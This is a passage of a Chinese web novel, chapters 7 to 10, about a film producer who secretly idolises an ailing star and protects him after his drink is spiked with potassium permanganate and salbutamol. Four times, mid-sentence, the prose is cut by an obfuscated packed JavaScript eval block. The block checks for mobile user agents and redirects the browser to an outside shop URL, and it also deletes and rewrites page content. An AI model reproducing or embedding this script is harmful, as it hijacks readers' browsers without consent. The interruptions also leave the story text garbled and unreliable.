大粉提前得到消息,在群里讨论过这个国外采访的含金量。他们主要采访国外的明星,国内只有有演技有资历的大咖能上,对方考虑到木哀梨身体状况不适应长途飞行,特意远赴华国,要是临了被鸽,木哀梨以后想冲国外的奖项恐怕难上加难。 可若用一副破锣嗓子做采访,必然又是另一种灾难。 可以说,吉意远完全是冲着毁了木哀梨事业来的。 而这一切的导火索,是他百般挑剔化妆师要求别人给他化成木哀梨被私下骂了两句整容脸。 周新水心中忿忿,回过神来却发现沈玉书用探究的眼神看着他。 “市场调研,市场调研,我的准备工作。”周新水解释,“我提前了解过木先生的现状,也看见了微博上一些空口胡说的谣言,污蔑。难听的话传得沸沸扬扬,但是在我看来,木先生完美得无可挑剔,就是我们剧本的最佳人选。” “是吗。” 木哀梨从他身后走出来,没等周新水说话,递上一盒润喉糖。 周新水愣愣地接过润喉糖。 “不吃?” “吃。” 周新水倒出两粒丢到嘴里。 淡淡的果香和薄荷味在口腔炸开,香甜的滋味宛若一口蜜流到了心窝,喉咙肿胀干涩的不适立马被抚平。 “说是吉意远给那个人打了两百万,那人拿着两百万进了夜灯。” 沈玉书把刚才得到的信息转述给木哀梨。 木哀梨神色并没有多大的波动,对着没有挂断的电话那头道:“都跟你说把门槛提高一点,什么人都进得来。” 宁九一听,炸了:“两百万已经很高了好不好!普通人要拿出两百万很不容易的!” 沈玉书不认可:“两百万在海市连房都买不起。” “标准提高,万一把我未来男朋友拦在外面了怎么办?” 木哀梨皱眉:“两百万都拿不出来你也要谈?” “……我跟你们这些富二代说不清楚。” 宁九直接挂了电话。 木哀梨转头问医生:“情况怎么样?” 医生说:“高锰酸钾烧喉,及时处理,问题不大。还有其他不良反应吗?” 两百万都拿不出…… 周新水收入不低,但还没到不把两百万放在眼里的地步。 同处一室,却远得仿佛站在对跖点上。 热意直冲大脑,心脏跳得极快,如同密匝匝的鼓点。 木哀梨有富裕的家庭,成绩斐然的事业,几千万支持他的粉丝,出门开的是法拉利,手上戴的是宝格丽,一身衣服都是私人定制。 而他,最多最多,只能在网上亲昵地称呼他。甚至不敢说自己是木哀梨梦男,免得被人骂异想天开。 “周先生?” “嗯?” “还有其他不良反应吗?” 周新水捏了捏自己的手腕,“我心跳有点快,能给我开点镇静的药吗?” 医生陡然提高音量:“心跳快?” 突然拔高的音量刺激着耳膜,周新水还没缓过劲,医生立马安排:“去做一个查血。” 周新水什么也不知道,就被抽了管血。 结果出来得异常快,医生神色凝重,看着单子,问周新水:“有哮喘吗?” 周新水摇头。 医生说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123041|195988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“是沙丁胺醇,哮喘患者用得到,有严格的剂量要求,过度摄入会导致心律失常,木先生的心脏……恐怕根本承受不住。” 沈玉书冷笑:“他是想要你的命。” 木哀梨睫毛轻轻扑了一下,漫不经心地撩起眼皮,“我没了,他还怎么CtrlC、CtrlV。” “你还有心思开玩笑。”沈玉书怼他。 沙丁胺醇过量并不会致死,但那是对普通人而言,木哀梨先心病做完手术也不能完全像个普通人生活,心跳骤然加速,给他造成的身体负担不亚于病情复发。 偏偏下药的人还加了高锰酸钾,烧喉的疼痛吸引了全部注意力,正常人不会想到还有另一种不致命、效果也不显著的药物。 即使发现心跳快,也多半会误以为是惊惧反应。 如果他没有追上去,而木哀梨又没有识破男人的伪装,喝了那杯酒…… 他后背生寒,满手冷汗。 可他望向木哀梨,却在木哀梨的眼里看不到半点被痛下杀手的憎恶,或者劫后余生的庆幸。 木哀梨双手插在裤兜里,肩背直阔却不紧绷,整个人随性又不失优雅,怎么看怎么舒服,自然。 他对死亡似乎十分坦然。 不知道是否长期的病弱让他对死亡有种随时降临的准备,抽烟喝酒毫不爱惜身体是及时行乐,还是报复自己孱弱不堪。 风一样轻的悲伤扑进周新水的眼睛,“还好今天木先生没喝。接下来你们打算怎么办?要曝光吉意远吗?长得丑就算了,心也那么算了,这样的人在娱乐圈混受人追捧简直是社会之耻。” 话是实话,吉意远这样苍耳一样黏在身上甩不下去的狗皮膏药也只有木哀梨这种两耳不闻圈内事的人能容忍他几年,不仅蹭热度,还变本加厉想取而代之,其他无论谁都恨不得他早点退圈,灰溜溜地滚蛋。 可惜事情并不像嘴上说的那么简单。 娱乐圈盘根错节,哪怕是木哀梨,行事也不免受制,更何况打款的账户来自吉意远的助理,到时候东窗事发,吉意远大可以把助理推出来背锅。 好比企业营销出了事端往往安抚群众说已经把失误的工作人员开除,企业自身并不会遭受多大的损失。 粉圈又是一个罔顾黑白只看粉籍的混乱地带。 当初吉意远打着小木哀梨名号出道,粉丝和木哀梨粉丝掐架,虽然战斗力不敌木哀梨粉丝,但已经可以看出他的粉丝画像多是木哀梨黑粉,否则一个小小新人,哪来那么多人为他冲锋陷阵? 这些人不见得喜欢吉意远,但一定恨木哀梨。哪怕爆出吉意远疑似下毒谋害木哀梨,他们也只会说哥哥请捂住耳朵往前走花路。 沈玉书也看木哀梨,毕竟这场风波中心的人是木哀梨,一切还取决于他。 木哀梨难得显现出棘手难做的神情,捏了捏鼻根,闭上眼:“我想想。” 没等想出结果,突然转头对周新水说:“你车停在哪儿?宁九要过来,你远程解锁,我叫他开你车来,免得你再跑一趟。” “就在……”周新水下意识回答,猛地惊醒,脑子里闪过的东西比薄荷糖还提神醒脑,他连忙拒绝,“不必麻烦了,我自己去就行,顺路,顺路。” 他车上全是木哀梨的官周和二创产品,杂志,海报,超轻粘土捏的小人,挂在后视镜下面的拼豆大头木哀梨,从储物室到后座,铺得满满当当。 甚至还有个胖娃娃,他专门买了儿童座椅给娃娃。 平时有同事要蹭车,他都说媳妇会介意,直接拒绝了。 要是让人看见…… 周新水自杀谢罪好了。 8. 第 8 章 周新水上学时长期健身,身材练得不错,体型修长,肌肉恰到好处,好几次被美术专业的同学邀请去当模特,听取哇声一片,当了社畜稍有懈怠,但身体素质也比普通人强上许多。 医生捏着他的肱二头肌说他体质好,在医院观察半个小时,没问题就可以离开。 木哀梨作为当事人,被警察叫出去处理投毒事件,没一会微博上就有狗仔偷拍到木哀梨和警察站在一起的照片。 人红是非多,一张模棱两可的照片足够网友编几出大戏,趁照片还没惹出什么非议,周新水联系狗仔把照片买断了。 半小时后,护士通知他可以走了。 但木哀梨还没有回来,周新水装作处理工作,神色认真地看着手机,又坐了十几分钟,仍不见木哀梨踪影,他才往外走。 刚从大厅出来,一抹粉色跳进眼里。 不知道是粉色太显眼,还是他眼睛开了自动追踪,总之是一眼就看到了。 木哀梨长腿交错,斜倚在车门上,低垂着头,长发洒了几缕到胸口,指尖夹着一支细烟。 周新水不小心走到木哀梨那骚粉色车旁边,正要开口说好巧啊。 木哀梨徐徐抬头,轻巧摁下按键,打开蝶翼门,在路边的垃圾桶熄了烟,“上车。” 周新水二话不说坐上去。 木哀梨调出导航,“地址。” 周新水:“我家吗?” 木哀梨:“我家。” 周新水老实报上自家地址。 导航的女声说:“正在为您规划路线。” 屏幕画面最后稳定下来,木哀梨笑了一下:“你管这叫顺路?” 地球是圆的,哪里就不顺路了,无非是费点时间。 周新水面上不显,心里已经想跳车跑路。 “已经很晚了,我送你到家,车你找时间自己去开回来。” “好。” 车上味道很清新,木哀梨身上也闻不见烟味,反而有一股淡淡的果香,周新水不动声色,偷偷闻了两口,好闻。 车内安静下来,周新水搓着出师未捷身的剧本,悄然用余光观察木哀梨。 “木先生。” “说。” 周新水侧身,露出几颗牙齿,“我们那个剧本,《换乘》,不知道您有没有看一眼?” 刚好红灯,木哀梨抽空看了他一眼,淡淡道:“万姐没回复吗?” “回了,说您已经演了很多病弱角色,不想再演了。” “嗯。”木哀梨没有否认。 周新水抿唇,薄唇抿成一条直线。 和木哀梨满不在乎的态度不同,他并不认为一个处于鼎盛时期的演员要摒弃自己出名的角色类型。 尽管很多网友诟病木哀梨在舒适圈原地踏步,说看腻了,问木哀梨什么时候能演个不一样的角色。 但能找到舒适圈就已经是秀出班行,多少人摸爬滚打也找不到适合自己的角色类型。 而且舒适圈并不等同黑历史,那些带有相同特质的角色和木哀梨相互成就,逼迫别人踏出舒适圈无异于会认前程。 木哀梨对自己有高要求,想要突破,尝试更多角色类型,周新水自然满心赞成。 但等不到合适的角色就一直蹉跎,还是让他忧心。娱乐圈来钱快,更新迭代也快,两年没戏,粉丝焦虑,心急,在所难免。 就像服装设计师喜欢从大牌秀场获取灵感一样,自从木哀梨三部曲把病弱人设带上大荧幕,一个比一个深入人心,这几年电视剧、网剧甚至短剧,病秧子人设层出不穷,连吉意远那部没开机的现代剧也是。 但凡眼睛不瞎,都能看出那些演员是扒着木哀梨的电影模仿他,动作,表情,连说话的语气也是。 只不过没有一个能演出病秧子的精髓。 往脸上刮一厘米厚的腻子粉,把眼眶涂成病青色,说一句喘一句,学西子捧心,最后也不过是东施效颦。 而木哀梨不一样,他演绎的病秧子不会刻意彰显主角的病弱,那种漫长的,绵延的病气萦绕在屏幕上,淡淡的,某一刻忽然而至。 周新水打心底感到不爽。 作为木哀梨粉丝,他对这类人设有种扭曲的占有欲,恨不得木哀梨把这类角色演到垄断,别人接剧本前都得掂量掂量自己的分量,能不能赶上木哀梨一根手指。 演得那么烂更是死罪。 他账号粉丝不少,哪怕是小号,也避免不了被截图传播的风险,到时候又要给木哀梨招黑,因而只在心里想,从不对外说。 但在木哀梨面前,或许可以少一些顾虑。 “现在很多剧本都在模仿你的三部曲,连我们公司都买了好几本,一些年轻艺人踏着你摸索出来的路演戏,也小有热度。” “为我鸣不平啊?” 木哀梨笑。 他满不在乎的态度让周新水感到胸口有些发闷,“没有。” “我不在乎他们。” 有什么是能让木哀梨在乎的?他像是游离在世界之外,偶尔下凡尘来过一两个月俗世生活,然后就消失在大众视野。 “……真的不再考虑一下吗?反正你目前也没有接别的本子,与其闲着,不如试试?” “打工打入魔了?” 与其闲着。 周新水慢半拍反应过来,也低声笑。 “我说真的,这个本子很适合你,而且和你以前的剧本重合度很低,它专注于现代年轻人的迷茫,而不是挖以前的书以前的故事写以前的人,国外这两年很看重这点。” “你要是接下,我可以承诺,如果在拍戏的期间你遇见了更想要的剧本,我做主暂停拍摄,给你腾出档期,直到你拍完你一直在等的另一个剧本。” 他说话时一直盯着木哀梨的脸,纹丝未动,木哀梨闻言扭头来看他,正好撞进他那一双窄长的眼睛,那眼里没有丝毫算计,全是真诚和期许。 木哀梨收回目光:“就非我不可?” 有戏?周新水坐直,认真道:“非你不可。” “那你早点放弃。”木哀梨毫不留情。 没戏。 周新水声音很沉闷,跟满水的壶一样,“为什么?” “腻了。”木哀梨转着方向盘,停在小区门口,“我喜新厌旧,见异思迁,不知道么?” 周新水当然知道,他只是盯着木哀梨,说不出话来。 木哀梨解开车门锁,在周新水炽热的注视中,忽地虚虚握拳,掩面咳嗽了两声,周新水连忙下车,把车门关上,“夜里降温,你快回去吧,别着凉了。” 木哀梨看了他许久,轻笑一声,驱车离开。 等车驶出视野范围,周新水转身进了小区。 文件夹抱在怀里,原封不动带回来,仿佛抱住一片失落的蓝调时刻,在心口洇开。 有些低落,但也不全是低落。 他不仅和木哀梨拍了杂志,还帮木哀梨挡了下药的酒水,坐他的副驾驶位去医院以及回家。 不都说副驾驶对有伴侣的人而言是很重要的位置吗,虽然现在木哀梨已经和前任分手,这位置给别人坐了也不会引起麻烦,但不管怎么说,木哀梨愿意让他坐,就足以让他满足。 这时候已经过了十二点,周新水快速吃了个便饭,冲澡,甩干头发,准备冲会浪好睡觉,结果一打开微博就看见吉意远新剧定妆照。 晦气。 他在心里还记着白天的事情,难以入眠,干脆起来去了书房。 书架上堆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123042|195988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着木哀梨的周边,其中一个架子下面放着三个亚克力盒,每个都有六七十公分高,里面全是信,叠得整整齐齐,建房子垒砖一样严丝合缝。 周新水从旁边取了新的信纸和信封,打开台灯,给钢笔沾好墨。 ?亲爱的你: 好久没有写信,都快忘了怎么拿笔。今天我见到了你,你还是一如既往的漂亮,英俊,秀美,随便往哪儿一站,就跟模特似的。主编说借我的肌肉一用,我就和你一起拍了杂志,成图的效果似乎不错,不知道发布后反应怎么样。 离开时,我尾随你去了夜灯,我知道这很不好,哪怕你因此对我有不好的看法,我没有怨言。但我还是想说,我很高兴做出了这次逾矩的举动,能帮到你,我很荣幸,也很庆幸。 唯一让人难过的,是你又一次拒绝了我的剧本邀约。我真的很想要为你打造一部戏,这是我进入这一行的全部意义,过去我胆小,怯懦,不敢靠近你,等我鼓起勇气,手里却没有足够的筹码吸引你。 我用别的人抢占市场、拙劣模仿你为理由劝说你,用你已经销声匿迹两年让人担忧为借口劝说自己。忽然意识到,我似乎在强迫你。一口一个为你好,却不顾你的意愿。 我反思为什么会这样?难道明星和粉丝的最终归宿都是中式家庭吗?可是我真的不想看到什么人都能踩着你上位。你在我心中是独特的,是高居上座谁也不能攀附的。? 他把信纸折成小小的正方形,塞进信封,打开靠边的亚克力收纳盒,这个收纳盒才装了三分之二。 他从初中开始写信,上高中的时候写得最多。他费了不少功夫才跟木哀梨一所高中,但上高中后,木哀梨很少在学校出现,那时候木哀梨已经是网传的大导演灵感缪斯。 他将信里的木哀梨当成最亲密的朋友,什么都说,一天两三封,直到木哀梨十七岁那年第一部戏上映,被拍到和对象赏花,网友纷纷指责。 周新水气不过,第一回下了微博,顶着父母的怒意请病假在家上网,冲锋陷阵。 但那时候木哀梨还是个初出茅庐的小演员,他说话硬气只会惹路人逆反,发现这一点,又转而说起好话,求观众对新人多些包容。 没多久木哀梨提名新人奖,风评好转,颁奖日捧着奖杯,发表简短几句感言,更是风光得不行。 周新水一改态度。 啃口梨:你管演员谈不谈恋爱?作品说话。 当时评论区全是“嘴脸”二字,周新水坦然受下。 爱有排他性,这毋庸置疑。 他喜欢木哀梨,却能接受木哀梨频频谈恋爱,或许就是从这个时候起。 比起木哀梨谈恋爱,他更不能接受不相干的人高高在上指责木哀梨。 如果他都不为木哀梨辩护,那就没有人站在木哀梨这边了。 但他也不是没有情绪,木哀梨谈恋爱的眼光越来越差了,这让他很忧心。 翟开诚那样的也配谈木哀梨? 长得就很花心,也不知道会不会做饭,木哀梨身体差,得多补,可别一天到晚给木哀梨点那个破外卖吧。 跟木哀梨谈是他的荣幸,分了也能兑水喝一辈子,居然好意思说木哀梨不懂爱。 他越想越心绪难平,干脆上号。 啃口梨:姐咱下个别谈low货了行吗。 -你又知道什么了跟我说说我保证不往外传 -放个屁股 -什么意思,这个不中啊? -我闻到了瓜的味道 -恶婆婆堂堂驾到 -有内幕能不能跟我讲讲,我爱屋及乌还给对方点了手关注,真有瓜的话我好取关 -别取关啊,万一爆瓜了设置仅粉丝可见和评论防护你只能吃二手瓜了 9. 第 9 章 张总很关心《换乘》的情况,出差回来后专门询问了周新水。 这两天周新水约了意向制作人见面,没出什么幺蛾子,顺顺利利签下来,之后班底组建拉投资请演员就都交给他们。 但《换乘》出师不利,还一点进展也没有。 “见到项目简介的一瞬间,木哀梨眼眸清亮,兴趣盎然,他沉寂了两年,难得碰到一个堪称为他量身定做的剧本,感动和激动难以言表,眼眶一红,睫毛一抖,差点哭得梨花带雨。” 张总听着周新水面不改色说木哀梨哭得梨花带雨,心想可拉倒吧,人家在大荧幕上都没哭过,能让你看见了。 “他接了?” 周新水转身打开窗,双臂支在窗口,臂肌撑起衬衫,“他让我把完整剧本发给他,说要好好品鉴品鉴,我自然不会拒绝,二话不说发过去,一气呵成,没有半分犹豫。” 不知道的还以为在攻城门。 张总:“……然后。” 周新水露出一个好故事无人倾听而略微嫌弃的表情,“《换乘》这个剧本,就我看来,至少算得上国内前百分之五,木哀梨没有理由拒绝。” “所以就是口头约定都还没有。” 张总终于得到了答案。 “还需要点时间。” 张总倒也没有斥责他办事不力的意思,叹了口气:“下次直接说结果。” “好的张总。” 张总先离开吸烟室,他走到门口,又回头跟周新水说:“你的能力我是相当认可的,但你也别有太大压力。” 他知道现在年轻人多多少少有些精神疾病,现在周新水只是时不时犯病,满嘴跑火车而已,要是被逼急了,染上别的毛病,他这才起步两年的公司损失就大了。 周新水微笑送他。 等张总走了,周新水坐下来,掏出手机,屏幕上是周新水熬夜看的一篇木哀梨×你同人文。 之前谭子濯提了一嘴火葬场,周新水思来想去,总觉得似乎在哪里瞄到过一眼,试着搜索,果然搜到了不计其数以木哀梨为主角的追妻火葬场小说,才知道原来同人作品不仅有图,还有文。 有些是木哀梨和“你”,有些是木哀梨和别的艺人。 周新水看见其他艺人的名字和木哀梨并排就火大,有些人连木哀梨面都没见过,这些人瞎写些什么? 他点开了一篇木哀梨×你的文,《梨雨》。 惊为天人。 熬了一个通宵。 故事里的“我”仗着权势强取豪夺了木哀梨,但木哀梨性格冷清,为人孤傲,对他不屑一顾,“我”一气之下将木哀梨囚禁起来,让他再也不能登台演出。 这期间,“我”虽然深爱着木哀梨,却总不表现出来,反而言语相讥,身体和心灵的双重伤害让木哀梨患上了严重的抑郁症,甚至出现自残行为。 这时,“我”终于醒悟,决定放飞这只孤寂的鸟,在暗处默默守候他,为他复出扫清障碍。 然而,当“我”帮木哀梨夺回被瓜分的资源重新出现在荧幕上时,以为终于赢过木哀梨的反派演员气急败坏,雇凶杀人。 “我”为了木哀梨腹部中刀,紧急抢救时,木哀梨从旁人的口中得知了我无声的付出和不曾表达的爱意。 屏幕上,寒蝉活宋体写着: 从旁人口中得知重症监护室里的人暗恋他多年,木哀梨竟不知如何是好。他想起第一次见面时,那人炽热的目光,宛如一条狼狗湿热又粗粝的舌头舔遍他身体,他觉得不适,却未曾想那是对方几经压抑却仍旧不减半分的爱意。 他想起那些悄无声息被解决的事情,想起元旦夜惊喜般的烟火,和每天早晨的一杯热牛奶。 …… 我睁开眼,手指动了动,声音微弱:“对不起……” 木哀梨眼眶当场就红了,沉默半晌,最后睫毛一抖,登时泣不成声,长发濡湿,贴在他颊面,哭得梨花带雨。 我想伸手替他拭去眼泪,却无能为力,一切弥补都显得很苍白,然而这时,听见他说:“我原谅你。” 再看一遍,周新水仍然:“?” 被木哀梨如何反虐回去吊着胃口,一口气看到这里,结果险些心梗。 他试图寻找下一章,在对方主页换了九个关键词也没搜到,又返回去看最近更新时间,竟然是一年前,最新微博是一条退网通知,说要高考了。 周新水并不感到无语,他有一肚子话要说。 鲜榨棠梨:木哀梨根本不会因为谁帮他挡了一刀而感动到哭ok?他从小娇生惯养,万千宠爱,不缺这点假兮兮的爱好吗?木哀梨被主角伤害那么重,事业被毁,万人嘲讽,结果主角只是轻飘飘挨了一刀就能挽回?还哭?点不了题就不要强行点题行吗?人设都崩成什么样了?前期坚韧不屈孤高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123043|195988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷清的木哀梨被你吃了? 他打字又快又重,几乎快把屏幕敲碎。 有人回复他。 -吃饭打厨子的又来了 -怎么就崩人设了,木木本身也不是孤高冷清的性格啊,他天天谈恋爱,谁知道私底下是什么性格,万一是娇妻呢? -不爱看别看,没人求你看 周新水面色铁青。 -姐妹别搭理她们,烂尾就是烂尾,捂嘴我也要说。前期虐木木写得可起劲,后期虐自己就高高拿起轻轻放下,作者根本不爱木木,只是想蹭热度而已。 周新水点了个赞。 吸烟室对面是海市江景,落日熔金,他欣赏了半小时,心情才稍稍平缓,这时也快到下班时间,刚回部门,谭子濯已经半只脚迈出门,见他回来,朝他挤眉弄眼。 “哥,嫂子还生气吗?” 哪壶不开提哪壶,好不容易平复的心情又跌宕起来。 周新水:“唉。” “你嫂子被那个朋友纠缠,说什么也不肯分手……断联,我的意思是。那人被拒绝了还说你嫂子坏话,毫无道德底线。” “你嫂子对我的态度稍稍稍微好了一点吧,但还是冷着一张脸。” 谭子濯谨慎问:“哥,你是小三啊?” 周新水:“。” “那木哀梨呢?我听老张说了,你在会议室长臂一振,说要木哀梨,把人吓一跳。” 周新水眯了眯眼:“你问木哀梨做什么?” 之前谭子濯也是一眼看见了木哀梨的挂件。 谭子濯低声嘀咕:“又不是问嫂子,这也太敏感了吧。” 对上周新水目光,后背生寒,立马改口:“我哪是问木哀梨,我问的是咱公司的项目。” 周新水默然颔首。 谭子濯嘿嘿一笑,像是老实交待了,“要是成了,我去剧组看看大明星不行啊?” “能不能成还不一定,人家说要走出舒适圈,不想接。” 周新水叹气。 谭子濯学他叹气,“唉!” “那你见到木哀梨了?” “废话。” “木哀梨是不是真的像网上说的那样,皮肤吹弹可破,跟雪一样,睫毛又直又长,比好多人接的假睫毛还漂亮,嘴巴又薄又嫩,水溻溻的……?” 周新水缓缓转动眼珠,危险地盯着谭子濯。 10. 第 10 章 谭子濯顿时收声,被老师点名了一样浑身僵直,打哈哈:“我妈要给我生妹妹了,我得赶紧去看她!” 脚底抹油,一溜烟跑了。 他一走,走廊就剩周新水,朝廊道望去,空无一人,纵深遥远。 忽地,一声轻响,是指尖敲在墙体上,周新水似乎看见木哀梨。 那人双手插进裤兜,背倚在墙上,头发肆意地洒在肩和胸口,感受到偷窥的目光,他侧头,桃花眼尾轻挑,眉尾飞入发际,唇角微启:“是吗?” 周新水:“……是。” 痴傻的声音,仿佛一块巨石砸进平静水面,打破了迷蒙美幻的画面。 周新水惊醒,收拾东西下班。 下班高峰期,高架上车水马龙,车挪动得比龟慢。一堆铁盒子蔓延到天际,遥遥无边,周新水的手不自觉放到方向盘中间。 但海市高架上禁止鸣笛,又克制了下来。 海市房租普遍高,为了省点房租,他每天通勤都要一个小时,堵车比一日三餐还平常。 前两天去NightLight把车开回来,从服务员口里打听到店老板是宁九。 意思是木哀梨去酒吧大概率是为朋友捧场,不是真的酗酒,但同时也意味着很可能是宁九带坏了木哀梨。 木哀梨出道的时候还没成年,他懂什么呀,都是身边人的错。 如果能够成功邀请木哀梨出演《换乘》,他肯定要好好劝木哀梨,别跟狐朋狗友鬼混,少抽烟少喝酒,身体不好,可以保温杯里泡点枸杞养生,出门在外带件外套,海市夜里风大,谈恋爱也要擦亮眼睛,别谈垃圾货,最好雇几个保镖,他体质差,万一案底要纠缠,他多半经受不住,直接让保镖把人丢出去,找保镖也要谨慎,绝对不能找粉丝,万一图谋不轨…… 天天在微博上学别人我女我女的喊着,他是真有点把木哀梨当女儿养的感觉。 周新水托着下颌,真想摁喇叭啊。 他负责项目制作也有三年的经验了,一开始给人打下手都摸不着头脑,现在也独当一面,别人见了都要称呼一句周总监。 没想到有朝一日又回到了刚出社会那会儿的茫然,跟白骨精被打回原形一样赤裸,大脑一片空白,积累的经验一见到木哀梨就尖叫着窜逃了。 非得刻意控制自己不去想木哀梨,才能冷静下来思索。 大多数制作人拿到项目后会先接触一两个有名气的艺人,定下一两个艺人后打着艺人的旗号去组建团队,但也有先接触大导的,借着大导的名声和风评吸引对作品质量有要求的演员。 如果要通过后者吸引到木哀梨。 木哀梨合作的每一个导演都是国际知名级别,奖项拿到手软,普通导演恐怕根本入不了他眼。 想找一个能让木哀梨改变主意的导演,不比直接说服木哀梨简单。 周新水没有回家,下了高架直接往城西书店去。 熟悉的影视艺术区域,他边走边看。这里不仅有各种编剧、摄影理论书籍,还有些导演和演员的传记。 虽然大部分在他看来都没有功成名就到能写自传的地步,基本只有粉丝会买账。 木哀梨都没写自传,他们写什么写?绝对不是嫉妒。 最后,他拾起一本导演柯图的传记。 柯图的爱人是编剧,这本传记正是他爱人所写。 柯图很会发掘青年演员,圈内好几个知名艺人都是他一手挖出来,包括木哀梨。 这也正是周新水瞄准他传记的原因。 周新水看的这本是书店给的试阅本,翻阅痕迹相当明显,薄薄的一本被翻成厚厚的一本。 他随手翻了一下,发现有许多的阅读笔记,笔迹各不相同,这倒让周新水有些好奇,其他书似乎没有这么多人边看便留言。 当他找了个角落坐下来,翻开前言页,他就明白了。 上面写,这本书是一个人留在店里的,他准备把这本书送给朋友作为生日礼物,希望阅读且有空的读者在看到有感触的地方时能够留下一两句感言。 而读者也很给面子,整本书满满当当的字迹。 书里讲了很多,周新水简单看了几眼,直接跳到柯夫人回忆柯图挖掘出木哀梨的部分。 据她叙述,柯图当天回到家,六十岁的老头,手舞足蹈描述他碰到了一个天生的文艺片演员,不仅长相一流,气质身段更是无与伦比,病气缠身,瘦高孱弱,绝对是圈内独一份的存在。 然后激动地抱住她,说她多年前写的一个剧本终于等到合适的人了。 只不过那小孩家里条件不错,似乎不太能瞧得上娱乐圈,柯图这样对夫人说,夫人鼓励他,陪同他一起去见木哀梨,回来就表示柯图真是挖到宝了。 这件事情周新水一清二楚,各种采访,各个视角,导演的,导演夫人的,出品方的,甚至司机的,都被他盘到包浆。 但他还是看得津津有味,最后拿起书店提供的带绳中性笔批注:真是挖到宝藏了!柯导慧眼如炬! 或许因为书上写字太多,他写字的时候竟然有一种纸很脆的感。 不知道这书是谁要送给谁的,他猜测至少有一个人喜欢柯图的片子。 文艺片导演和他很有文艺感的观众。 他想着,余光瞥见一抹身影,和书里那句“病气缠身,瘦高孱弱”竟重合起来。 那人径直走到影视艺术区域,绕着周新水拿书的架子走了一圈,似乎在寻找什么东西,无果后顿住脚步,面带疑惑,葱白指尖在书架上点了点。 那手指似乎点到了周新水心里,搅动了一池的春水。 他又在做梦了? “这书,你还看么?” 眨眼间,木哀梨已经走到他面前。 不是臆想。 周新水站起来,不是很确定:“看,吧。” 木哀梨忽地笑了一下,伸手捏着周新水手里的书,周新水清楚看见那纤细的手指微微压下,骨节比一般男人窄些,也要粉些。 然后他听见木哀梨说:“可是从我进来,你的眼睛就没有在看书。” 在看什么? 在看木哀梨。 周新水强撑着,笑说:“木先生太耀眼了,您不介意我多看两眼吧?” 木哀梨拿着书坐下,真不知道他怎么连这么一个简单的姿势都做得那么好看,宛如一出精心设计苦心练习的舞剧。 他问:“写字了吗?” 周新水也坐下来,双手放在桌面叠起来,坐姿端正,“写了。” “写的什么?” 周新水沉默。 木哀梨翻了几页,没听见周新水说话,抬眸看他:“怎么了?不方便说?” 周新水心猛跳了一下,不知为何,竟产生了一种可以和木哀梨说说笑笑的亲近感, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123044|195988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “木先生猜猜看?” 木哀梨翻到某页,突然顿住,“写我长得好看。” 周新水周身有一瞬的僵直,木哀梨捕捉到他这一帧,唇角泄出一丝轻笑,很微弱,仿佛骤雨里一缕似有似无的花香。 “……上次的事情,最后怎么处理的?”周新水没话找话,转移话题。 “那边自认理亏,公司做主赔了几个资源给我们,刚好工作室签了两个新人。” 周新水皱眉:“就这样?” 也太便宜吉意远了。 木哀梨不置可否。 “马上闭店,我想你也不会再接着看,书我带走了。” 木哀梨朝他扬了扬书,给出一个淡淡的笑容。 他对自己的美太了解,病白的脸庞配着什么样的弧度和角度能勾得人心神荡漾,他再清楚不过。 “这书是你留在这里的?”周新水突然明白过来,趁木哀梨还没有走远,连忙问。 木哀梨正在看手机,闻言打字的手一顿,“是我。” 木哀梨走了。 周新水看着他上车,最后消失在远处。 那书是木哀梨留下的。 那他要送书的对象是谁? 谁值得木哀梨这么用心筹备。 那书两三个月前就放在了店里,按这个时间来算,木哀梨应该正在热恋。 木哀梨脚踏两条船? 难道分手跟这个第三者也有关? ……可千万藏好了。 虽然木哀梨一直谈谈谈,网友见怪不怪,但从来没有过出轨黑料,这事儿要是爆出来肯定会被唾沫星子淹了。 周新水揪心了好一阵,不停在微博寻找蛛丝马迹,心想还有他不知道的,巡查了半天,忽然灵光乍现,查了下柯图的生日,就在两天后。 原来如此。 还好,还好。 周新水终于能静下来回味和木哀梨说的几句话。 他的反应还是太上不了台面,有待改进。 